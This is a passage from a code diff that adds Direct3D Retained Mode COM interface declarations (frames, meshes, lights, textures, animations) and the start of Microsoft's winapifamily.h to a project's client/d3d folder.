STDMETHOD(GetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_velocity, BOOL with_rotation) PURE;
|
||||
STDMETHOD(GetOrientation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR dir, LPD3DVECTOR up) PURE;
|
||||
STDMETHOD(GetVisuals)(THIS_ LPDIRECT3DRMVISUALARRAY *visuals) PURE;
|
||||
STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE;
|
||||
STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE;
|
||||
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg)PURE;
|
||||
STDMETHOD(LookAt)(THIS_ LPDIRECT3DRMFRAME target, LPDIRECT3DRMFRAME reference, D3DRMFRAMECONSTRAINT) PURE;
|
||||
STDMETHOD(Move)(THIS_ D3DVALUE delta) PURE;
|
||||
STDMETHOD(DeleteChild)(THIS_ LPDIRECT3DRMFRAME) PURE;
|
||||
STDMETHOD(DeleteLight)(THIS_ LPDIRECT3DRMLIGHT) PURE;
|
||||
STDMETHOD(DeleteMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE;
|
||||
STDMETHOD(DeleteVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE;
|
||||
STDMETHOD_(D3DCOLOR, GetSceneBackground)(THIS) PURE;
|
||||
STDMETHOD(GetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE *) PURE;
|
||||
STDMETHOD_(D3DCOLOR, GetSceneFogColor)(THIS) PURE;
|
||||
STDMETHOD_(BOOL, GetSceneFogEnable)(THIS) PURE;
|
||||
STDMETHOD_(D3DRMFOGMODE, GetSceneFogMode)(THIS) PURE;
|
||||
STDMETHOD(GetSceneFogParams)(THIS_ D3DVALUE *return_start, D3DVALUE *return_end, D3DVALUE *return_density) PURE;
|
||||
STDMETHOD(SetSceneBackground)(THIS_ D3DCOLOR) PURE;
|
||||
STDMETHOD(SetSceneBackgroundRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||
STDMETHOD(SetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE) PURE;
|
||||
STDMETHOD(SetSceneBackgroundImage)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
|
||||
STDMETHOD(SetSceneFogEnable)(THIS_ BOOL) PURE;
|
||||
STDMETHOD(SetSceneFogColor)(THIS_ D3DCOLOR) PURE;
|
||||
STDMETHOD(SetSceneFogMode)(THIS_ D3DRMFOGMODE) PURE;
|
||||
STDMETHOD(SetSceneFogParams)(THIS_ D3DVALUE start, D3DVALUE end, D3DVALUE density) PURE;
|
||||
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
|
||||
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||
STDMETHOD_(D3DRMZBUFFERMODE, GetZbufferMode)(THIS) PURE;
|
||||
STDMETHOD(SetMaterialMode)(THIS_ D3DRMMATERIALMODE) PURE;
|
||||
STDMETHOD(SetOrientation)(THIS_ LPDIRECT3DRMFRAME r, D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,D3DVALUE ux,D3DVALUE uy,D3DVALUE uz) PURE;
|
||||
STDMETHOD(SetPosition)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||
STDMETHOD(SetRotation)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE;
|
||||
STDMETHOD(SetSortMode)(THIS_ D3DRMSORTMODE) PURE;
|
||||
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
|
||||
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
|
||||
STDMETHOD(SetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, BOOL with_rotation) PURE;
|
||||
STDMETHOD(SetZbufferMode)(THIS_ D3DRMZBUFFERMODE) PURE;
|
||||
STDMETHOD(Transform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMMesh
|
||||
DECLARE_INTERFACE_(IDirect3DRMMesh, IDirect3DRMVisual)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
|
||||
STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE;
|
||||
STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE;
|
||||
STDMETHOD(AddGroup)(THIS_ unsigned vCount, unsigned fCount, unsigned vPerFace, unsigned *fData, D3DRMGROUPINDEX *returnId) PURE;
|
||||
STDMETHOD(SetVertices)(THIS_ D3DRMGROUPINDEX id, unsigned index, unsigned count, D3DRMVERTEX *values) PURE;
|
||||
STDMETHOD(SetGroupColor)(THIS_ D3DRMGROUPINDEX id, D3DCOLOR value) PURE;
|
||||
STDMETHOD(SetGroupColorRGB)(THIS_ D3DRMGROUPINDEX id, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||
STDMETHOD(SetGroupMapping)(THIS_ D3DRMGROUPINDEX id, D3DRMMAPPING value) PURE;
|
||||
STDMETHOD(SetGroupQuality)(THIS_ D3DRMGROUPINDEX id, D3DRMRENDERQUALITY value) PURE;
|
||||
STDMETHOD(SetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL value) PURE;
|
||||
STDMETHOD(SetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE value) PURE;
|
||||
STDMETHOD_(unsigned, GetGroupCount)(THIS) PURE;
|
||||
STDMETHOD(GetGroup)(THIS_ D3DRMGROUPINDEX id, unsigned *vCount, unsigned *fCount, unsigned *vPerFace, DWORD *fDataSize, unsigned *fData) PURE;
|
||||
STDMETHOD(GetVertices)(THIS_ D3DRMGROUPINDEX id, DWORD index, DWORD count, D3DRMVERTEX *returnPtr) PURE;
|
||||
STDMETHOD_(D3DCOLOR, GetGroupColor)(THIS_ D3DRMGROUPINDEX id) PURE;
|
||||
STDMETHOD_(D3DRMMAPPING, GetGroupMapping)(THIS_ D3DRMGROUPINDEX id) PURE;
|
||||
STDMETHOD_(D3DRMRENDERQUALITY, GetGroupQuality)(THIS_ D3DRMGROUPINDEX id) PURE;
|
||||
STDMETHOD(GetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL *returnPtr) PURE;
|
||||
STDMETHOD(GetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE *returnPtr) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMShadow
|
||||
DECLARE_INTERFACE_(IDirect3DRMShadow, IDirect3DRMVisual)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(Init)
|
||||
( THIS_ LPDIRECT3DRMVISUAL visual, LPDIRECT3DRMLIGHT light,
|
||||
D3DVALUE px, D3DVALUE py, D3DVALUE pz,
|
||||
D3DVALUE nx, D3DVALUE ny, D3DVALUE nz
|
||||
) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMFace
|
||||
DECLARE_INTERFACE_(IDirect3DRMFace, IDirect3DRMObject)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||
STDMETHOD(AddVertexAndNormalIndexed)(THIS_ DWORD vertex, DWORD normal) PURE;
|
||||
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE, D3DVALUE, D3DVALUE) PURE;
|
||||
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
|
||||
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
|
||||
STDMETHOD(SetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE u, D3DVALUE v) PURE;
|
||||
STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE;
|
||||
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
|
||||
STDMETHOD(GetVertex)(THIS_ DWORD index, D3DVECTOR *vertex, D3DVECTOR *normal) PURE;
|
||||
STDMETHOD(GetVertices)(THIS_ DWORD *vertex_count, D3DVECTOR *coords, D3DVECTOR *normals);
|
||||
STDMETHOD(GetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE *u, D3DVALUE *v) PURE;
|
||||
STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE;
|
||||
STDMETHOD(GetNormal)(THIS_ D3DVECTOR *) PURE;
|
||||
STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE;
|
||||
STDMETHOD(GetMaterial)(THIS_ LPDIRECT3DRMMATERIAL *) PURE;
|
||||
STDMETHOD_(int, GetVertexCount)(THIS) PURE;
|
||||
STDMETHOD_(int, GetVertexIndex)(THIS_ DWORD which) PURE;
|
||||
STDMETHOD_(int, GetTextureCoordinateIndex)(THIS_ DWORD which) PURE;
|
||||
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMMeshBuilder
|
||||
DECLARE_INTERFACE_(IDirect3DRMMeshBuilder, IDirect3DRMVisual)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg) PURE;
|
||||
STDMETHOD(Save)(THIS_ const char *filename, D3DRMXOFFORMAT, D3DRMSAVEOPTIONS save) PURE;
|
||||
STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
|
||||
STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE;
|
||||
STDMETHOD(SetColorSource)(THIS_ D3DRMCOLORSOURCE) PURE;
|
||||
STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE;
|
||||
STDMETHOD(GenerateNormals)(THIS) PURE;
|
||||
STDMETHOD_(D3DRMCOLORSOURCE, GetColorSource)(THIS) PURE;
|
||||
STDMETHOD(AddMesh)(THIS_ LPDIRECT3DRMMESH) PURE;
|
||||
STDMETHOD(AddMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER) PURE;
|
||||
STDMETHOD(AddFrame)(THIS_ LPDIRECT3DRMFRAME) PURE;
|
||||
STDMETHOD(AddFace)(THIS_ LPDIRECT3DRMFACE) PURE;
|
||||
STDMETHOD(AddFaces)
|
||||
( THIS_ DWORD vcount, D3DVECTOR *vertices, DWORD ncount, D3DVECTOR *normals,
|
||||
DWORD *data, LPDIRECT3DRMFACEARRAY*
|
||||
) PURE;
|
||||
STDMETHOD(ReserveSpace)(THIS_ DWORD vertex_Count, DWORD normal_count, DWORD face_count) PURE;
|
||||
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
|
||||
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
|
||||
STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE;
|
||||
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
|
||||
STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE;
|
||||
STDMETHOD(SetPerspective)(THIS_ BOOL) PURE;
|
||||
STDMETHOD(SetVertex)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||
STDMETHOD(SetNormal)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||
STDMETHOD(SetTextureCoordinates)(THIS_ DWORD index, D3DVALUE u, D3DVALUE v) PURE;
|
||||
STDMETHOD(SetVertexColor)(THIS_ DWORD index, D3DCOLOR) PURE;
|
||||
STDMETHOD(SetVertexColorRGB)(THIS_ DWORD index, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||
STDMETHOD(GetFaces)(THIS_ LPDIRECT3DRMFACEARRAY*) PURE;
|
||||
STDMETHOD(GetVertices)
|
||||
( THIS_ DWORD *vcount, D3DVECTOR *vertices, DWORD *ncount, D3DVECTOR *normals, DWORD *face_data_size, DWORD *face_data
|
||||
) PURE;
|
||||
STDMETHOD(GetTextureCoordinates)(THIS_ DWORD index, D3DVALUE *u, D3DVALUE *v) PURE;
|
||||
STDMETHOD_(int, AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||
STDMETHOD_(int, AddNormal)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||
STDMETHOD(CreateFace)(THIS_ LPDIRECT3DRMFACE*) PURE;
|
||||
STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE;
|
||||
STDMETHOD_(BOOL, GetPerspective)(THIS) PURE;
|
||||
STDMETHOD_(int, GetFaceCount)(THIS) PURE;
|
||||
STDMETHOD_(int, GetVertexCount)(THIS) PURE;
|
||||
STDMETHOD_(D3DCOLOR, GetVertexColor)(THIS_ DWORD index) PURE;
|
||||
STDMETHOD(CreateMesh)(THIS_ LPDIRECT3DRMMESH*) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMLight
|
||||
DECLARE_INTERFACE_(IDirect3DRMLight, IDirect3DRMObject)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(SetType)(THIS_ D3DRMLIGHTTYPE) PURE;
|
||||
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
|
||||
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||
STDMETHOD(SetRange)(THIS_ D3DVALUE) PURE;
|
||||
STDMETHOD(SetUmbra)(THIS_ D3DVALUE) PURE;
|
||||
STDMETHOD(SetPenumbra)(THIS_ D3DVALUE) PURE;
|
||||
STDMETHOD(SetConstantAttenuation)(THIS_ D3DVALUE) PURE;
|
||||
STDMETHOD(SetLinearAttenuation)(THIS_ D3DVALUE) PURE;
|
||||
STDMETHOD(SetQuadraticAttenuation)(THIS_ D3DVALUE) PURE;
|
||||
STDMETHOD_(D3DVALUE, GetRange)(THIS) PURE;
|
||||
STDMETHOD_(D3DVALUE, GetUmbra)(THIS) PURE;
|
||||
STDMETHOD_(D3DVALUE, GetPenumbra)(THIS) PURE;
|
||||
STDMETHOD_(D3DVALUE, GetConstantAttenuation)(THIS) PURE;
|
||||
STDMETHOD_(D3DVALUE, GetLinearAttenuation)(THIS) PURE;
|
||||
STDMETHOD_(D3DVALUE, GetQuadraticAttenuation)(THIS) PURE;
|
||||
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
|
||||
STDMETHOD_(D3DRMLIGHTTYPE, GetType)(THIS) PURE;
|
||||
STDMETHOD(SetEnableFrame)(THIS_ LPDIRECT3DRMFRAME) PURE;
|
||||
STDMETHOD(GetEnableFrame)(THIS_ LPDIRECT3DRMFRAME*) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMTexture
|
||||
DECLARE_INTERFACE_(IDirect3DRMTexture, IDirect3DRMVisual)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(InitFromFile)(THIS_ const char *filename) PURE;
|
||||
STDMETHOD(InitFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS) PURE;
|
||||
STDMETHOD(InitFromResource)(THIS_ HRSRC) PURE;
|
||||
STDMETHOD(Changed)(THIS_ BOOL pixels, BOOL palette) PURE;
|
||||
STDMETHOD(SetColors)(THIS_ DWORD) PURE;
|
||||
STDMETHOD(SetShades)(THIS_ DWORD) PURE;
|
||||
STDMETHOD(SetDecalSize)(THIS_ D3DVALUE width, D3DVALUE height) PURE;
|
||||
STDMETHOD(SetDecalOrigin)(THIS_ LONG x, LONG y) PURE;
|
||||
STDMETHOD(SetDecalScale)(THIS_ DWORD) PURE;
|
||||
STDMETHOD(SetDecalTransparency)(THIS_ BOOL) PURE;
|
||||
STDMETHOD(SetDecalTransparentColor)(THIS_ D3DCOLOR) PURE;
|
||||
STDMETHOD(GetDecalSize)(THIS_ D3DVALUE *width_return, D3DVALUE *height_return) PURE;
|
||||
STDMETHOD(GetDecalOrigin)(THIS_ LONG *x_return, LONG *y_return) PURE;
|
||||
STDMETHOD_(D3DRMIMAGE *, GetImage)(THIS) PURE;
|
||||
STDMETHOD_(DWORD, GetShades)(THIS) PURE;
|
||||
STDMETHOD_(DWORD, GetColors)(THIS) PURE;
|
||||
STDMETHOD_(DWORD, GetDecalScale)(THIS) PURE;
|
||||
STDMETHOD_(BOOL, GetDecalTransparency)(THIS) PURE;
|
||||
STDMETHOD_(D3DCOLOR, GetDecalTransparentColor)(THIS) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMWrap
|
||||
DECLARE_INTERFACE_(IDirect3DRMWrap, IDirect3DRMObject)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(Init)
|
||||
( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME ref,
|
||||
D3DVALUE ox, D3DVALUE oy, D3DVALUE oz,
|
||||
D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,
|
||||
D3DVALUE ux, D3DVALUE uy, D3DVALUE uz,
|
||||
D3DVALUE ou, D3DVALUE ov,
|
||||
D3DVALUE su, D3DVALUE sv
|
||||
) PURE;
|
||||
STDMETHOD(Apply)(THIS_ LPDIRECT3DRMOBJECT) PURE;
|
||||
STDMETHOD(ApplyRelative)(THIS_ LPDIRECT3DRMFRAME frame, LPDIRECT3DRMOBJECT) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMMaterial
|
||||
DECLARE_INTERFACE_(IDirect3DRMMaterial, IDirect3DRMObject)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(SetPower)(THIS_ D3DVALUE power) PURE;
|
||||
STDMETHOD(SetSpecular)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE;
|
||||
STDMETHOD(SetEmissive)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE;
|
||||
STDMETHOD_(D3DVALUE, GetPower)(THIS) PURE;
|
||||
STDMETHOD(GetSpecular)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE;
|
||||
STDMETHOD(GetEmissive)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMAnimation
|
||||
DECLARE_INTERFACE_(IDirect3DRMAnimation, IDirect3DRMObject)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(SetOptions)(THIS_ D3DRMANIMATIONOPTIONS flags) PURE;
|
||||
STDMETHOD(AddRotateKey)(THIS_ D3DVALUE time, D3DRMQUATERNION *q) PURE;
|
||||
STDMETHOD(AddPositionKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||
STDMETHOD(AddScaleKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||
STDMETHOD(DeleteKey)(THIS_ D3DVALUE time) PURE;
|
||||
STDMETHOD(SetFrame)(THIS_ LPDIRECT3DRMFRAME frame) PURE;
|
||||
STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE;
|
||||
STDMETHOD_(D3DRMANIMATIONOPTIONS, GetOptions)(THIS) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMAnimationSet
|
||||
DECLARE_INTERFACE_(IDirect3DRMAnimationSet, IDirect3DRMObject)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(AddAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE;
|
||||
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg, LPDIRECT3DRMFRAME parent)PURE;
|
||||
STDMETHOD(DeleteAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE;
|
||||
STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMUserVisual
|
||||
DECLARE_INTERFACE_(IDirect3DRMUserVisual, IDirect3DRMVisual)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||
STDMETHOD(Init)(THIS_ D3DRMUSERVISUALCALLBACK fn, void *arg) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMArray
|
||||
DECLARE_INTERFACE_(IDirect3DRMArray, IUnknown)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMDeviceArray
|
||||
DECLARE_INTERFACE_(IDirect3DRMDeviceArray, IDirect3DRMArray)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMDEVICE *) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMFrameArray
|
||||
DECLARE_INTERFACE_(IDirect3DRMFrameArray, IDirect3DRMArray)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFRAME *) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMViewportArray
|
||||
DECLARE_INTERFACE_(IDirect3DRMViewportArray, IDirect3DRMArray)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVIEWPORT *) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMVisualArray
|
||||
DECLARE_INTERFACE_(IDirect3DRMVisualArray, IDirect3DRMArray)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMPickedArray
|
||||
DECLARE_INTERFACE_(IDirect3DRMPickedArray, IDirect3DRMArray)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||
STDMETHOD(GetPick)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *, LPDIRECT3DRMFRAMEARRAY *, LPD3DRMPICKDESC) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMLightArray
|
||||
DECLARE_INTERFACE_(IDirect3DRMLightArray, IDirect3DRMArray)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMLIGHT *) PURE;
|
||||
};
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRMFaceArray
|
||||
DECLARE_INTERFACE_(IDirect3DRMFaceArray, IDirect3DRMArray)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFACE *) PURE;
|
||||
};
|
||||
#endif
|
||||
2159
client/d3d/d3dtypes.h
Normal file
2159
client/d3d/d3dtypes.h
Normal file
File diff suppressed because it is too large
Load Diff
251
client/d3d/winapifamily.h
Normal file
251
client/d3d/winapifamily.h
Normal file
@@ -0,0 +1,251 @@
|
||||
/*
|
||||
|
||||
Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
Module Name:
|
||||
|
||||
winapifamily.h
|
||||
|
||||
Abstract:
|
||||
|
||||
Master include file for API family partitioning.
|
||||
|
||||
*/
|
||||
|
||||
#ifndef _INC_WINAPIFAMILY
|
||||
#define _INC_WINAPIFAMILY
|
||||
|
||||
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
#if _MSC_VER >= 1200
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
|
||||
#endif
|
||||
#pragma once
|
||||
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
|
||||
#include <winpackagefamily.h>
|
||||
|
||||
/*
|
||||
* When compiling C and C++ code using SDK header files, the development
|
||||
* environment can specify a target platform by #define-ing the
|
||||
* pre-processor symbol WINAPI_FAMILY to one of the following values.
|
||||
* Each FAMILY value denotes an application family for which a different
|
||||
* subset of the total set of header-file-defined APIs are available.
|
||||
* Setting the WINAPI_FAMILY value will effectively hide from the
|
||||
* editing and compilation environments the existence of APIs that
|
||||
* are not applicable to the family of applications targeting a
|
||||
* specific platform.
|
||||
*/
|
||||
|
||||
/* In Windows 10, WINAPI_PARTITIONs will be used to add additional
|
||||
* device specific APIs to a particular WINAPI_FAMILY.
|
||||
* For example, when writing Windows Universal apps, specifying
|
||||
* WINAPI_FAMILY_APP will hide phone APIs from compilation.
|
||||
* However, specifying WINAPI_PARTITION_PHONE_APP=1 additionally, will
|
||||
* unhide any API hidden behind the partition, to the compiler.
|
||||
|
||||
* The following partitions are currently defined:
|
||||
* WINAPI_PARTITION_DESKTOP // usable for Desktop Win32 apps (but not store apps)
|
||||
* WINAPI_PARTITION_APP // usable for Windows Universal store apps
|
||||
* WINAPI_PARTITION_PC_APP // specific to Desktop-only store apps
|
||||
* WINAPI_PARTITION_PHONE_APP // specific to Phone-only store apps
|
||||
* WINAPI_PARTITION_SYSTEM // specific to System applications
|
||||
* WINAPI_PARTITION_GAMES // specific to games and apps
|
||||
|
||||
* The following partitions are indirect partitions and defined in
|
||||
* winpackagefamily.h. These partitions are related to package based
|
||||
* partitions. For example, specifying WINAPI_PARTITION_SERVER=1 will light up
|
||||
* any API hidden behind the package based partitions that are bound to
|
||||
* WINAPI_PARTITION_SERVER, to the compiler.
|
||||
* WINAPI_PARTITION_SERVER // specific to Server applications
|
||||
*/
|
||||
|
||||
/*
|
||||
* The WINAPI_FAMILY values of 0 and 1 are reserved to ensure that
|
||||
* an error will occur if WINAPI_FAMILY is set to any
|
||||
* WINAPI_PARTITION value (which must be 0 or 1, see below).
|
||||
*/
|
||||
#define WINAPI_FAMILY_PC_APP 2 /* Windows Store Applications */
|
||||
#define WINAPI_FAMILY_PHONE_APP 3 /* Windows Phone Applications */
|
||||
#define WINAPI_FAMILY_SYSTEM 4 /* Windows Drivers and Tools */
|
||||
#define WINAPI_FAMILY_SERVER 5 /* Windows Server Applications */
|
||||
#define WINAPI_FAMILY_GAMES 6 /* Windows Games and Applications */
|
||||
#define WINAPI_FAMILY_DESKTOP_APP 100 /* Windows Desktop Applications */
|
||||
/* The value of WINAPI_FAMILY_DESKTOP_APP may change in future SDKs. */
|
||||
/* Additional WINAPI_FAMILY values may be defined in future SDKs. */
|
||||
|
||||
/*
|
||||
* For compatibility with Windows 8 header files, the following
|
||||
* synonym for WINAPI_FAMILY_PC_APP is temporarily #define'd.
|
||||
* Use of this symbol should be considered deprecated.
|
||||
*/
|
||||
#define WINAPI_FAMILY_APP WINAPI_FAMILY_PC_APP
|
||||
|
||||
/*
|
||||
* If no WINAPI_FAMILY value is specified, then all APIs available to
|
||||
* Windows desktop applications are exposed.
|
||||
*/
|
||||
